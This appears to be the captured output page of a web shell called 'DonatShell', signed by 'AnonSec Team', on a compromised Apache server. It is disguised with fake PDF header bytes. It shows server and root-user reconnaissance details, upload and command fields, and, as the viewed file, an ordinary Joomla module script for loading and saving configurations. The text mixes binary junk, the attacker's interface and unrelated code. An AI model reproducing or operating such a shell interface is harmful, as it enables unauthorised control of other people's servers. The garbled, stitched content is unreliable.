%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/modules/mod_news_pro_gk5/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/modules/mod_news_pro_gk5/admin/class.configmanager.js
// Configuration manager class

function NSPGK5ConfigManager() {
	this.init();
}

NSPGK5ConfigManager.prototype.init = function() {
	// create additional variable to avoid problems with the scopes
	$obj = this;
	// button load
	jQuery('#config_manager_load').click( function(e) {
		e.stopPropagation();
		e.preventDefault();
	    $obj.operation('load');
	});
	// button save
	jQuery('#config_manager_save').click( function(e) {
		e.stopPropagation();
		e.preventDefault();
	   	$obj.operation('save');
	});
	// button delete
	jQuery('#config_manager_delete').click( function(e) {
		e.stopPropagation();
		e.preventDefault();
	   	$obj.operation('delete');
	});
}

NSPGK5ConfigManager.prototype.operation = function(type) {

	var current_url = window.location;
	// check if the current url has no hashes
	if((current_url + '').indexOf('#', 0) === -1) {
		// if no - put the variables
	    current_url = current_url + '&gk_module_task='+type+'&gk_module_file=' + jQuery('#config_manager_'+type+'_filename').val();    
	} else {
		// if the url has hashes - remove the hash 
	    current_url = current_url.substr(0, (current_url + '').indexOf('#', 0) - 1);
	    // and put the variables
	    current_url = current_url + '&gk_module_task='+type+'&gk_module_file=' + jQuery('#config_manager_'+type+'_filename').val();
	}
	// redirect to the url with variables
	window.location = current_url;
}

Anon7 - 2022
AnonSec Team